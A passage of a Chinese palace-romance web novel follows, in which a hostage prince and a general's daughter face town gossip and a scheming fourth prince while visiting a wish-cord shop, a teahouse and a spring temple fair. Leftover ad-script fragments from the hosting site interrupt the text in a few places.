是意料之外的人,隗絮本以为上次大吵一架后,她永远都不会再理他了,没想到天无绝人之路,事情居然又有了转机。 隗絮匆匆起身去开门,路上却被剪书绊了一跤,他有些嫌弃地瞪了一眼剪书,让他上一边去。 剪书却挡住了他的去路,他跟了隗絮许多年,一个眼神就可以猜到隗絮的心思。他想,少主怕是动了真情。若秦大小姐有心算计,于他们大不利,于是他再次提醒道:“少主。” 后面的话剪书没有说,但隗絮当然知道他要说什么。 局势对立越来越明显,北凉和大齐,他和秦常念,始终是不同的利益集团。要心狠手辣、要截断感情、要六亲不认,他才能成功。 根据他在北凉王宫里学到的、看到的,此刻最明智的做法是,死死抓住秦常念,最好她能爱他爱得死心塌地的,这样大小姐就会力保他,起码他在将军府是安全的。然后充分地利用她,可以是以她的性命作筹码威胁秦远、可以是借她炙热的感情来窃取机密。 总之,他要没有感情、没有良心,才能成功。 隗絮将局势判断完,和一脸焦急的剪书对视:“为人质子,这条命就早已是属于别人的。身为棋子,入了曹营,被对方的将领吃掉也是活该。将军要杀要剐,皆与我无关。” “少主!你当真!”剪书话还没说完,就被门外的秦常念打断。 “难道是不在吗?”秦常念喃喃自语道,刚准备转身离开,门就开了。 冷战了好几天,两人都有些尴尬,好几秒钟都相顾无言。隗絮不知道该以什么表情来面对她,不自在地将头侧开,避开和秦常念的对视,却又忍不住用余光瞄她,满身的不自然。 秦常念低着头,和自己激烈地挣扎过后,率先开了口:“那个,你还在因为上次的事情生气吗?” “嗯?”隗絮把视线移到秦常念身上,有些意外。 “上次的事情是我不对,每个人都有选择的自由,要不要一起做木雕不是我一个人说了算的。对不起。”因为不好意思,秦常念的声音小小的,但隗絮却一个字一个字听得很清楚。 “没有。”隗絮回答得很果断。 “啊?”这下轮到秦常念惊讶了,她原以为隗絮的性子温吞,情感又不外露,自己是不会得到回答的。正在思考接下来要说的话呢,被他意外的回答打断了思路。 “我是说,我没有生气,而且大小姐不必和我道歉。先前是我做得不对,我很爱做木雕,也很爱和你一起做木雕,是我自己心情不好,牵扯到你。对不起。”隗絮认认真真地说完,观察了一下秦常念的反应,继续说道,“大小姐不必藏着掖着,有什么要说的,便直说吧。” 她向来骄傲,如今主动示弱、先低下头来,对她来讲一定不容易。这样不容易的行为背后,一定有非要不可的所求。 隗絮决定,不论她所求为何物,都给她。 自己的心思被看穿,秦常念也不再扭扭捏捏,索性摊开来说:“我却有一事相求。” 隗絮直视着女孩亮晶晶的眸子,在里面看到了属于她的单纯、大方和勇敢。隗絮忽然理解了“心甘情愿”这个幼时就在学堂抄写过的成语。彼时他和其他学童一起摇头晃脑地背着,未曾探究含义。而今他想,所谓心甘情愿,就是若此时她提的要求是杀了他,他也会笑着给她递上一把利剑,让她杀得轻松点。 不过他的利刃早已在秦常念手里了,隗絮想。 “近来父亲成日忧心,许是不久就要带兵出征了,有些紧张。上次你带我去的那家卖许愿绳的店很灵,你能再带我去一次吗?”秦常念举起手上的那根红绳,晃了晃。 提出的请求竟如此简单吗?隗絮愣了一下,在秦常念紧张的目光中,点了点头:“好。” “那明日午饭过后,我们大门口见。” 隗絮点了点头,答应了。秦常念得到了满意的回答,一蹦一跳地回了房间。 “少主!你当真为了一个女人!你可还记得你是北凉的少主,你不仅代表自己,更肩负整个北凉百姓,如今你要把命交到一个女人身上?”秦常念一走,剪书就一改刚刚毕恭毕敬站在一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旁的态度,出来义正严辞地说道。 隗絮原本一直望着秦常念离开的方向,目送她,听了剪书的话,才回过神来,他关上房门:“你当真觉得对于北凉来讲我那么重要?” “当然了!少主的命,可不仅仅是自己的命,更是属于北凉人民的命!” 隗絮坐下来,眼神晦暗不明,顿了半晌,说道:“若是我真的对北凉那么重要,父王真的那么器重我,我便不会在这里了。你有见过嫡长子为人质的吗?” 是啊,北凉有千百种办法狸猫换太子,让他脱身。可最后来做质子的,真真就是少主。 该说北凉贤王君子之行、恪守规矩,还是王宫里的人权势争斗、早有计策呢。 “北凉需要的从来不是隗絮,而是一位少主。可是北凉何曾会缺一个少主。”隗絮摇了摇头,自嘲地笑了一下,端起茶盏,一饮而尽,硬生生把香浓的茶,喝出了烈性的酒的感觉。 第二日午饭过后,秦常念果然已经备好了马车在门口等,一见隗絮出来,秦常念立刻向他兴奋地挥手:“这里这里!快来!” 隗絮自己都没意识到嘴角扬起了弧度,就掀起袍子一角,迅速上了马车,打趣道:“大小姐今日倒是乖巧,不闹着要骑马了。” 秦常念撇了撇嘴:“前些天我惹得父亲那么生气,这一事还没完呢,我哪还敢惹出新的事情来。再说了,父亲已经因为被调为镇北将军的事情操心了许久,我近来还是乖一点吧,不能为父亲分忧,至少不要给他添堵。” 见秦常念讲得有些黯然神伤,隗絮抬手用指节轻轻敲了一下秦常念的头。 “干嘛打我?”秦常念吓得缩了一下脖子,抓住隗絮举在自己头顶的手,示意他不准再乱动。 “小小年纪,心思那么重。你还是想想一会要许什么愿望吧。”隗絮没挣扎,任由秦常念抓着自己的手。 “你真的很会顺竿子往上爬!做了我几天先生,就真以为自己年纪很大了?我们明明差不多大,而且,你才是小小年纪心思很重的那个人。”秦常念无奈地摇了摇头,放开隗絮的手。 两人就这么打闹着,很快就到了卖许愿绳的铺子。 生意人惯是精明,老板记得几个月前他们就来买过,一边笑容满面地将绳子系到秦常念的手上,一边说道:“公子和夫人好事将近了吧。就说我们店虽然小,但还是很灵的。”他还故作神秘,环顾了一下四周,才小声说道,“尤其是姻缘方面。” 听到这话,秦常念的脸都变红了,忙解释道:“没有没有,我所求的不是姻缘,我们也不是……” 话还没说完,就被隗絮打断了:“老板,给我也来一根吧。” 老板连连应好,又取了一根出来。 “你不是不信这个的?”秦常念疑惑地看着他。 “你不是说灵吗,我也试试看。”隗絮看了她一眼,摸了摸手上的红绳。 是啊,我本是不信的。凡人贪婪,欲望无穷无尽,我想菩萨也不可能一一回应。可人力不能达之处,我还是不可避免地起了贪心,想求菩萨替我护你安宁。 所以我在心里郑重地许下愿望,白云苍狗,瞬息万变,唯愿阿念,得偿所愿,岁岁年年。 菩萨啊,若是你听到了我的恳求,我付出代价也无妨。命运所有的把戏,就在我身上使吧。 22. 流言 最近整个镇北将军府都跟着秦远紧张,难得出来一趟,秦常念终于觉得有点放松了,自然是不会轻易回去的,她四处张望着,看到远处的茶馆人头攒动,眼睛一眨,提议道:“大家都挤到那边去,好像是有什么新奇玩意呢,我们也去凑个热闹吧?” 说完,她不等隗絮的回答,就拉着隗絮往那边走。 到了茶馆,两人叫了一壶茶、一些点心坐下来,才知道今日是有帝京有名的说书先生来表演,漠北平日里是见不着这些的,所以大家伙都热情高涨,想要听听来自京城的新奇故事。 秦常念兴致勃勃地叉了块糕点,一边嚼地开心,一边说道:“帝京的说书先生竟然跑这么远来,漠北有什么好玩的,还大费周章地跑过来。而且漠北的收入可不帝京,百姓们没什么钱,自然也赏不起他那么多。我估计呀,他没两天就要后悔了。” 隗絮笑了笑,倒了壶茶递过去:“慢点吃,着什么急,又没人跟你抢,吃得跟小花猫似的。” 秦常念不以为然地用手擦了擦嘴:“你真的跟那帝京里的嬷嬷似的,礼教一大堆,很麻烦。” “就你会贫,哪有我这样任劳任怨、听你差遣的嬷嬷。”隗絮将茶壶放在火上温着。 秦常念怂了怂肩,将视线投回台上。说书已经开始了好一阵了,听起来今日要说的是痴男怨女的爱情故事。 说书先生绘声绘色地描绘着:“这一对男女常常月下相会,即便天寒地冻,也阻挡不了他们滚烫似火的爱情。两人就着一篇诗集、一篇琴谱,都能聊个彻夜。” 底下听众听得入迷,不时发出惊呼声。 说书先生敲了敲惊堂木,提高了音量,颇为激动地说道:“可有一日,这女子的父亲发现了两人暗中幽会,大怒,出来阻拦……” 秦常念撇了一下嘴,一副听腻了的样子,磕着花生,摇头晃脑地和隗絮说:“原来是老套的爱情话本,两人相爱却被父母所不认可,根据我的经验,接下来必定是要讲两人如何如何爱得死去活来,如何如何不为世俗接纳,最后抛下父母,私定终生。” “根据你的经验,你哪来的经验?”隗絮觉得有点好笑,看着秦常念一副人小鬼大的样子,在她身上显得宽大的衣袖还随着她的动作晃来晃去。 隗絮的脸上闪过一丝不自在。很不想承认,但很难不承认,面对秦常念,他总是很容易心动。 可她不喜欢我。 可我们不会有结果。 “怎么了?想什么呢,都呆住了。”秦常念拿手在隗絮眼前晃了晃,很疑惑的样子。 隗絮也学着秦常念的样子磕了个瓜子,故作轻松地问道:“若是你呢,不为世俗认可、不为父母赞成的姻缘,你会如何做?”他放在桌下攥得越来越紧的手,却暴露了他并不如面上太平的内心。 “我?”秦常念歪着头想了一下,“如果是我的话……” 话还没说完,就被台上先生突然大声喊的话打断:“诸位,今日关于将军府大小姐和敌国质子的故事就说到这里,欲知后事如何,且听下回分解。” 底下人纷纷鼓掌喝彩道:“好!” 还有人吹起了口哨。 “不愧是京城来的说书先生啊,故事就是精彩,平日里我们哪能听到这样的事?” “是啊是啊。不过你们觉得这故事和秦大将军的宝贝女儿像不像?”一个中年男子虚捂住嘴巴,声音仍然很大地说道。 “像啊,像啊。”边上的妇女连连附和。 “我刚都不敢说,听说秦将军府里还真来了一位俊俏的公子,传闻是说做了大小姐的老师,估计啊,就是那位质子了。”一个自诩为有人脉、知道小道消息的年轻女子一脸得意地说道。 “啊?质子做了老师,老师又和徒弟发展感情?啧啧啧,这天理何在啊?”妇女摆出了鄙夷的表情,仿佛视纲常伦理为身家性命,明明自己心里是羡慕嫉妒这位大小姐。传闻那位公子俊朗潇洒、世上无双,怎么偏偏就看中了这将军府骄纵跋扈、不学无术的大小姐呢。 一个人的声音很小,可合在一起,便是浮游可撼动大树。 流言,可以把死的说成活的,黑的说成白的。这些或真或假的言论没有人会愿意去考证,它们只是从每个人的嘴里跑出,汇到主人公的心里,最后将她淹死。 可没有人在意那样的后果,他们都说,我不过是说了几句话罢了。 秦常念听得一清二楚,心里升起没来由的恐慌,人言可畏,这嘴上之事,有谁敢说自己可以承担。她手里端着的茶盏也掉在了地上。她慌忙地想去捡,却被隗絮一把抓住手腕。 她惊慌失措地抬起头来看隗絮,隗絮将她拉起来,目光沉静而温柔:“小心,别划伤手了。” 秦常念跟着隗絮的动作起身,魂不守舍地坐到位置上,又着急忙慌地挡住自己的脸,小声说道:“怎么办,我们要被发现了。” “被发现什么?我们之间又没什么。谣言而已,不必在意。”隗絮十分淡定地安慰秦常念,轻轻地将她挡着脸的手拿下来,“不怕。” 秦常念呆呆地将手放在腿上,听了隗絮的话,才得以静下心来思考:是啊,我在害怕什么呢?我没做错什么,我和隗絮之间也没有什么。 人是社会性的动物,思维最容易被旁人的评价牵着走。秦常念仍然莫名地难以放下心中的忧虑,她看着隗絮点了点头,笑了一下,闭上眼睛,深吸了一口气,试图平静内心。 隗絮见她很挣扎的样子,起身想拉她走,犹豫了一下,还是克制地拉住她的手腕。 这出乎秦常念的意料,她瞪大了眼睛看着隗絮。 “这些闲言碎语,不想听便不听,不要勉强自己。我带你走。”隗絮坚决地说道,拉着秦常念就往外走。 这一刻,秦常念的心里忽然涌起了感动。她跟在隗絮的身后,看着隗絮高大的背影,坚定得像能抵御世间所有的黑暗,护住秦常念心里的太阳。 秦常念突然就想冲动一把,她将手掌上移,握住了隗絮温暖的手。 隗絮愣了一下,没有挣脱,反而用力地回握住秦常念的手。 场子聊着八卦,很是热闹,没有人会注意到这一对逃走的、故事里的痴情男女。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 除了在二楼的托着下巴看的李权执。 “有意思,看来无风不起浪啊,英雄还是难过美人关。”李权执轻蔑一笑,抿了口茶。 “四皇子,秦小姐将那茶盏摔了,不知是不是发现杯子有问题。”一个侍从汇报道。 “不可能,以她的能力,绝对看不出来。”李权执有十足的把握,在他看来,秦常念不过是个被宠坏的大小姐,“再说,若是看出来了,她从一开始便不会喝。” “可只喝了一口,服下的剂量和接触毒的时间怕是达不到毒发。需不需要再……” “不必。本王有的是时间,陪他们慢慢玩。”李权执阴险地笑了一下,将手里的杯子放在桌面上转了一圈,“再把流言传得猛烈些。” “是,属下这就去办。”侍从躬身抱拳道。 李权执挥挥手,让他赶紧下去。摸了摸自己手上的绷带,是上次被花瓶碎片划伤后包扎留下的痕迹,慢慢地说道:“恋人离心、互相猜忌,是世间最阴毒的报复。都用不着我动手,秦常念,我相信你很快就会把他乖乖地交出来的。” 自这出戏之后,关于漠北大小姐和敌国质子的爱情故事愈演愈烈,闹得满城风雨的,人们茶余饭后时常都会谈起。 出了这事以后,秦常念更加不知道怎么对面隗絮了,躲他躲得更厉害了些。将军府里低落的低落、逃避的逃避、忧愁的忧愁,气氛一下子降到低谷。 直到立春时节,迎春神的庙会开了,秦常念打算带着子秋去玩一玩,被隗絮在府门口拦下。 “干嘛?我是被传谣言了,不是被通缉了,不至于连门都不能出了吧。”秦常念看着横在自己面前的手,十分无奈。 “……带上我一起去吧。”隗絮磕磕巴巴地说道,求人对他来讲是太难以启齿的事情。他看着地面不敢抬头,“我可以保护你的。” “不要。”秦常念拒绝得很干脆,和隗絮震惊的目光对上后,她又解释道,“现在外面传我们传得沸沸扬扬的,你这时候跟我一起去逛庙会,岂不是坐实了我们俩的关系,让大家有更多的热闹可看?再说了,有子秋保护我就够了,不会有危险的。” 隗絮仔细思考了一下,又看了看自己的衣服:“我可以乔装打扮一下。” “怎么打扮?”秦常念好奇地问道。 “大小姐稍等!”隗絮丢了句话,匆匆就往屋里跑,跑到一半还回过头补上一句,“一定等我啊,很快就好。”似乎怕秦常念如一缕烟气一样,这一会就飘走了。 换做以前,这绝对是秦常念调虎离山的好时机,她一定毫不拖泥带水地转头就跑,边跑还要边高喊着:“不要自由的人是傻瓜。” 可今天她安安静静地站在门口,履行等他的约定。 半晌后,隗絮一身黑色暗卫袍,身后背一柄长剑,头上戴着笠帽遮住脸的大半部分,可下半张脸露出的微挑的唇角和立体侧脸,就能看出是个美男子,甚至遮住一部分,更觉得神秘,让人忍不住想靠近。 真是意气风发的少年啊,连穿子秋的衣服都那么好看。秦常念都看呆了,不禁感慨道。 23. 乔装 隗絮再三保证会乖乖听话、不会暴露身份,还大言不惭“假扮个侍卫还不容易嘛,从此刻起,我就是将军府新招来的侍卫——子春。”终于如愿以偿地得到了秦常念肯定的回答,可以和她一起去逛庙会。 当然做戏做全套,作为大小姐的侍卫,是不能坐马车的。所以隗絮此刻正抬头挺胸地骑着马,跟在秦常念的马车旁。虽然故作严肃,却仍是掩饰不了上扬的嘴角。 隗絮明明知道他和秦常念之间是不可能的,却还是忍不住贪恋须臾的快乐。饮鸩止渴,也能止渴。管他什么以后呢,反正最后的最后,阎王爷都会替你安排好,谁也逃不过。 秦常念悄悄掀开帘子的一角,看到隗絮挺拔的背影,默默欣赏着,少年的头发高高束起、一丝不苟,为了不那么显眼,今日还特意换了纯色的发冠。腰间每日都挂着的玉佩,也暂且取下了。可人的气质是不能假装的,即便是用了最朴素的配饰,也难掩他一身的清雅气质。 看着看着,秦常念都吓了一跳,自己从什么时候开始这么了解他了。仿佛他平日里着装打扮的习惯都刻在秦常念的脑子里,她随时都可以自己和自己玩一盘找不同的游戏。 人呢,都是后知后觉的。心已动,可想法仍停在原地,误以为自己是理性的动物。 秦常念忙放下帘子,将自己刚才的心跳归结为一种担忧,拍了拍胸口,自言自语道:“我这是担心一会被别人认出来,赶紧提前检查一下他打扮得到不到位。” 其实根本没人问,她也不必向任何人解释。 迎接春天的庙会果然是热闹非凡,处处都是小摊小贩,有吹糖人的、卖冰糖葫芦的、卜卦问签的,每一个铺子前都围满了人。 “你们漠北的庙会真热闹,难怪你喜欢。”隗絮跟在秦常念身后一边问,一边抱住双臂,不动声色地往侧面走了一步,替秦常念挡开熙熙攘攘的行人。 “是啊,人人都期待春天吧,多么充满希望的时节。人们总对春天有着不切实际的幻想,寄希望于春雨,认为它能洗刷一些,包括人肮脏的灵魂。所以再被大家痛恨、讨厌的人,只要等到来年春天,人们便不会再辱骂他了,甚至不再关心。”秦常念在一个卖胭脂的铺子停下来,随手拿起一个名为“日落红”的,在手里看了看,“所以,要我说啊,所谓做了坏事就遗臭万年就是骗人的,人们根本就不记得那些惨痛的教训,日后还会上同样的当。” 秦常念看了一会并没有要买,就雀跃着到前面的摊子去了。 “刚刚那个我要了。”隗絮匆匆地掏出银两,买了那“日落红”放在口袋里,连老板找的钱都来不及要,就快步上去追秦常念。 秦常念已经在馄炖店里坐好了,拿着菜牌选好了自己要吃的,见隗絮来了,把菜牌推过去:“我吃猪肉白菜的,你吃哪一个?” 隗絮接过菜牌,却连一个眼神也没分给它,抬手叫了店家:“两份猪肉白菜馄炖。” “你也吃猪肉啊?”秦常念托着腮,好奇地问。 “对啊,我又不是少数民族的。”隗絮烫好了碗筷,摆在秦常念面前。 “噢,你不是少数民族的啊。”秦常念颇有几分意外,北凉的少主、赤狄人未来的首领,不是赤狄人?秦常念盯着隗絮的脸上上下下地看了一遍,“嗯,不过你长得确实秀气,像是江南小公子。” 一个少主,是中原人。他在柳絮纷飞的时节里出生,连名字都记录着那时候的故事。秦常念那极富有想象力的小脑瓜忍不住开动了。 某年贤王去帝京进贡,偶遇了一位美丽的大齐女子,两人一见钟情后,就有了隗絮。贤王对这位美人实在太过喜爱,就将她带回北凉,纳为王后。一段唯美的爱情佳话,成就了眼前这位少主。 秦常念想着想着不禁笑了。 “你又知道了,说得跟你见过江南小公子一样。”隗絮见她一副心猿意马的样子,无奈地喝了口茶。 馄炖正好被端了上来,秦常念舀起一个放在勺子里晾:“没见过猪跑,还会没吃过猪肉吗?先前我父亲给我请的老师,全是江南的小公子。” “你倒是见多识广。”隗絮用勺子在碗里搅得叮当响,没好气地说道。 秦常念将馄炖一口吃掉,满足地晃了晃脑袋,没听懂隗絮话里的情绪,还以为是在夸自己呢,顿了顿说道:“不过他们都没你好看,你是我见过生的最好看的公子。” 听了这话,隗絮搅拌的勺子都停了下来,脸上染上一层淡淡的红晕,大脑里的每一根神经都被刺激到,成了乱了套的线团,一句话都说不出来。 “你真应该感谢你父母,不对,主要是母亲。想必你母亲一定是绝世大美人吧,遗传得这么好。”秦常念在脑中回顾了一下见过的高级官员、王侯将相,男子或矮或胖,脸长得像个压扁了的柿饼,无一例外。贤王一定更是长相一般,那要何等的绝色,才把基因拉回了正轨啊。怪不得会让贤王如此喜爱,竟真的立她孩子为储君。 隗絮并不知道秦常念脑子里闪过的老夫配少妻、君王配艳女,一起糜烂地吃葡萄的画面,也忽略了秦常念那幻想得津津有味的表情,沉浸在秦常念夸他好看的喜悦之中,忍不住低下头憋笑。 “你笑什么呢?” “啊?噢,没,没什么。”隗絮赶忙掩饰住自己暗喜的表情,从兜里掏出那枚“落日红”的胭脂,装作不甚在意的样子推过去。 “送我的?”秦常念很意外,拿在手上仔细地看。 “嗯。” “我又不缺胭脂,要是需要的话,我刚刚就自己买了呀。”秦常念想起将军府里摆了一个抽屉的梳妆用品。 “我知道,但我就是想要你有。”隗絮看着秦常念,顿了顿,说道,“你只用管喜不喜欢,不用在意需不需要。希望哪怕是有一点喜欢的东西,你也能拥有。做一个永远开心,永远自由的大小姐。算是……我作为侍卫的一点私心吧。” 听了这番话,秦常念很感动,被人在乎的感觉真好。 还没等秦常念回话,隔壁桌就来了一大帮人。 “诶诶诶,你听说了吗?秦家的女儿不仅和那质子有一腿,甚至和……”爱嚼舌根的妇人故作神秘,环顾一下四周 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,吓得秦常念赶紧把头转过去。 “和太子也有了不得的关系呢!” 妇人的话一出,人群像是炸了锅,妇人很是得意自己听来的小道消息,让她在人群中赚足了眼球。 “啊?!真的假的,这秦家的女儿可真是狐狸精,这么会勾引男人?连太子殿下她都敢去勾搭?” “听说她和太子都被圣上赐婚了。” “天呐,她长得也不是国色天香啊,一个玩世不恭、肚子里没半点货的大小姐,竟讨得如此多男人的欢心?” “诶诶诶,你们不知道吧,听说她小时候还和冯吉订过娃娃亲呢,就是他父亲的那个副将。” “也算是虎父无犬女了。她父亲骁勇善战、征战沙场,她就是善用美色、勾引男人。”那妇人得意洋洋地用指关节敲了敲桌面,做了总结语。 大家一下子又围了上去:“丽姐,你怎么知道的啊?” “我的消息灵通着呢,这天底下什么事能瞒过我的眼睛。”那叫丽姐的妇人理了一下头发,扬起头回答道。 秦常念一边分了一只耳朵听他们说话,一边想着要赶紧吃完馄炖,一边还要侧着脸担心会不会被认出来。心思太杂,一不小心,呛到了。 “咳咳……”秦常念忍不住地咳嗽,虽然已经尽可能地压低声音、捂住嘴,但还是引得旁桌的人侧目。 完了,秦常念看着手边,没有任何可以遮住脸的东西,暗道不好,这下真在外面被认出来了。 “诶,你看这人……”隔壁桌虽然只看到秦常念的侧脸,但禁不住开始议论起来。 秦常念只能将头再扭过去些,祈求他们别再说了。 隗絮见状,赶紧起身,坐到了秦常念的身旁。他宽大的背影,遮住了大部分探寻的目光,还故意抬手架在桌子上,将秦常念挡得更严实些。他舀起一个馄炖,吹了吹,喂给秦常念:“娘子,听闻漠北的馄炖做得是最出名的,你尝尝看是不是。” 秦常念有些没想到,愣在那里。 隗絮眼睛向后看了看,用眼神示意她后面的人在看着,又将馄炖放得离秦常念的嘴边近点:“娘子尝尝看。” 秦常念点点头,吃了那一颗馄炖。 隗絮转过头,对那些看热闹的人礼貌一笑:“我们一路从康城游玩,来到漠北。素来听闻漠北的风景好,今日一看,果然恢弘大气、名不虚传啊。” “看来这位公子和夫人感情甚好啊,在漠北好好玩一玩,看看风景。”众人一看自己认错了人,忙赔笑道。 隗絮也笑着点了点头:“多谢。” 旁边的人又开始聊些家长里短的事,隗絮转过来,看秦常念吓得一口也没再吃,将碗推过去一点,轻声安抚道:“没事,吃吧,他们不会再看你了,我替你挡着。” 秦常念看着他点了点头,低下头继续吃着馄炖。 她百分百信任隗絮,隗絮也总有令人安心的能力。 “这位公子家的夫人,可否让在下一看?”一个男人忽然走了过来。他的声音对秦常念来讲有几分熟悉,秦常念心下一紧。 24. 还你 隗絮挺直了腰,将秦常念更加严实地挡住。他并不认识眼前这个男子,见他虽然身着一袭纯色长袍,乍看之下会觉得很朴素。但容貌气质皆不一般。配的发冠是昆山独产的白玉质地,侧面还缀有玛瑙;随身携带的锦囊是蚕丝绣上金丝线制成的。 是个乔装打扮过的王公贵族。隗絮很快就得出了结论。 “公子不必介怀,我只是觉得夫人长得很像一位故人,想来叙叙旧罢了。”李权执看着隗絮机警的眼神,皮笑肉不笑地说道。 隗絮的身子却没有移动半分,仍旧坐着面对李权执的压迫:“公子说笑了,我和娘子自康城而来,在漠北并无相熟之人。” 李权执无所谓地笑了笑,往侧面探了探身子说道:“公子不识我,我也不识公子,我是想和夫人说几句话。” 隗絮顺着他的目光移动了身子,没让他看到秦常念半分,目光坚定道:“我娘子也不认识你,况且,她性子内敛,也不喜和外人交流,还请公子见谅。” 秦常念躲在隗絮的身后,越听越觉得这个声音似曾相识,却又一时想不起来是谁。 李权执无所谓地瘫了摊手:“既如此,我也不强求了。” 隗絮抱拳做了个送客的手势,李权执往前走了几步,又停下了步伐。 隗絮很警觉地看过去,他觉得这个人一定不简单。 李权执连头也没有回,只是丢下一句:“夫人说不认识我,真是好令人伤心啊,明明前不久的冬宴上我们是见过的。”就离开了。 听了这话,秦常念猛地想起来了,她打了个冷颤,拉了拉隗絮的衣袖,小声说道:“他是四皇子李权执。” 隗絮也很意外,四皇子不是应该在帝京吗,怎么会突然出现在漠北。 但还是沉稳地拍了拍秦常念的手:“他秘密前来漠北,没有告诉任何人他的身份,也没有先去拜见漠北的将领和官员,而是私下来接近你,说明你身上一定有他想要的东西。他在明,我们在暗,我们只需要等他的下一步行动。” 秦常念点了点头,拉着他衣袖的手却没有放开。 这一顿饭吃得乱七八糟的,秦常念也没有再继续的心情,就拉着隗絮离开了。 “你还和太子……”隗絮斟酌了一下说道,“颇为相熟啊。” “不熟,就是上次见过一次。不过他看起来人挺好的,还答应若是我去帝京,要带我去造一枚剑佩呢。”秦常念走着走着,在一间剑铺前停了下来。 “你想看看吗?”隗絮见她有兴趣的样子提议道,脑子里却一直想着秦常念说的剑佩的事。 秦常念点了点头,就往里走。上次说要把剑还给他,他就不肯,也许是送了人的东西便不想再要回来。但没有剑哪行呢,这么重要的东西。 既然旧的你不要了,我便送一把新的给你。 “两位客官,请问是给哪位锻剑?”店家很热情地迎上来。 “她。” “他。” 两个人的声音同时响起,手互相指着对方。 隗絮不敢相信地转过头去看秦常念,心里却炸开了烟花,开心地不得了:“给我?你不用给我送礼物,还是给自己挑一件喜欢的吧,我送你。” 秦常念摇了摇头,拒绝地很干脆:“那怎么行。先前你送我那把剑,我已经觉得很过意不去了。趁此机会给你定一把新的,还给你了,我也就不欠你这个人情了。” 隗絮愣在原地,你是急于处理我们俩之间的瓜葛,和我两不相欠,此后便做陌路人,你好去找你的太子殿下,或是冯吉哥哥吗。 隗絮越想越气,狠狠地握紧拳头,指甲掐得肉都成了青紫色,渗出微微的血丝,从牙缝里挤出硬邦邦的几个字:“不必。” “不行,你挑一把你喜欢的吧,我还你。”秦常念以为他是不好意思,坚持道。 还我,不欠我,你同我之间,就是如此生分的吗。 隗絮气得发抖,很想冲上去质问秦常念,你到底把我当什么。但在对上秦常念纯粹的眼眸和期待的时候,又拼命忍住了,沉默了半晌:“不必了,我没什么要你还的,你也不欠我什么。”就转身出了剑铺。 秦常念赶忙追出去,隗絮走得很快,秦常念要小跑才能追上,她气喘吁吁地跑到隗絮身边:“是这家店的你都不喜欢吗,那我们要不要去别的铺子看看。” 隗絮不理她,只是自顾自地走,丝毫没有放慢步伐。 “还是你最喜欢你的那一把,我可以还你的。”秦常念感觉到隗絮忽然就生气了,但是她不知道原因,只能尝试着猜测。 “我都说了不用你还!”隗絮更生气了,他用力甩开秦常念虚拽着他衣袖的手,吼道。 “……可我不喜欢拿别人的东西。”秦常念把手收回来,垂下了头,有些丧气地小声地说道。 隗絮听了,忽然驻足,冷笑了一声,然后一把把秦常念推到了墙边。他一手撑在墙上,将秦常念禁锢在这方寸之间,然后弯下腰沉默着靠近她。 秦常念有些慌了,她推住隗絮的肩膀,试图保持两个人之间的距离。 隗絮垂眸看了一眼她搭在自己肩膀上的手,停止了往前的动作。气归气,还是不想吓到她。隗絮再开口的时候,声音很喑哑:“若是真要还,你拿走我的东西还很多,你能还得回来吗?” 若要论还,我的心,你能还给我吗? 秦常念愣了几秒钟,脑袋里拼命回想,自己还拿了他些什么。 隗絮见她呆住,又靠近了几分,在她的耳侧低声说道:“所以,别再说要还我的话了。”话语里,带了几分无奈和几分落寞。 距离太近,近到秦常念甚至都不敢呼吸,条件反射似的点了点头。 隗絮拉开两人的距离,叹了一口气,慢慢说道:“走吧,我送你回府。”今日子秋没来,他肯定是不放心让秦常念自己回去的。 秦常念点点头,沉默地往前走,心里升起疑惑:为什么他看起来那么伤感。 夕阳西下,迟暮的太阳留下它今日的最后一点光芒,将整个天空都染成橙色。隗絮跟在秦常念身后半步,低着头。 把秦常念送回去后,隗絮一言不发地回了房间,一直到秦常念吃过晚饭,他都没有出来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 晚上,秦常念在房间里思来想去,怎么都心绪不宁。她是一个直率坦荡的人,遇到了事情也总喜欢刨根问底,隗絮今日的反常总让她觉得忧心。 秦常念难以忍受内心的那种焦躁,叫来子秋陪她下棋。父亲总说,下棋能静心。秦常念觉得应该转移一下注意力,顺便陶冶一下性情。 在秦常念第五次心不在焉地拿了子秋的黑子、第四次把棋子下在棋盘格的里面的时候,子秋终于忍不住了,他觉得秦常念是在侮辱自己,更是在侮辱这盘棋。 子秋躬身行了个礼:“大小姐,您忧心的事情我帮您解决,您可以别再让我陪您下棋了吗。” 秦常念压根没听清楚他说了什么,一手托腮,看着棋盘发呆。 下棋太无聊了,这项活动果然不适合自己。秦常念的耐心本来也快要耗尽,下不下去了,她挥了挥手,就让子秋下去。 “谢大小姐。”子秋走出秦常念的房间,如释重负地长吁了一口气,然后敲响了隗絮的房门。 “公子,本来是不想麻烦您的。但是大小姐太伤心了,我实在瞧不下去,才来敲您的门的。”子秋站在隗絮面前,使出了浑身的演技,就差声泪俱下了。管他面不面子的,他可不想再坐回去下那盘棋了。如果那项活动甚至可以被称为下棋的话。 “她很伤心?”隗絮脸色很不好看,本来坐在那无动于衷,一副很麻木的样子,听了这话才抬起头。 “是啊是啊,今日厨房做的都是她爱吃的,可大小姐食不下咽。”子秋一边说着,一边尽力地将秦常念拎着鸡腿大快朵颐的画面赶出脑袋。让秦常念吃不下东西,是一件不可能的事。她可是苦了谁都不能苦了自己肚子的观念的最优秀践行者,没有之一。 隗絮歪着头想了想,坐在那里没有回话。 子秋见状,赶紧又添油加醋了几分:“公子,你是不知道啊,大小姐因为心情不好,还穿得很单薄吹冷风,我怎么劝她都不听,这刚刚入春,天气还凉得很,怕是会染了风寒啊。” 秦常念在房间里打了一个巨大的喷嚏,她揉了揉鼻子:“是谁在骂我吗?” 隗絮终于叹了口气,率先投降,拿上外衣说道:“我去看看她。” “多谢公子,多谢公子!”子秋一边带着路,一边在心里为自己竖了个大拇指,还得是我啊,拯救了今晚的自己。 秦常念打开门的时候,眼尾红红的。在隗絮看来,更像是生病了的征兆。隗絮皱了皱眉,转身对子秋吩咐道:“你去命厨房煮碗姜茶来。” “晚上吃姜对身体不好。”秦常念快速打断道。她当然不会承认,自己是厌恶姜的味道。 隗絮无奈地看了她一眼,看穿了她心里的小九九,说道:“那煮碗皂荚水来。” 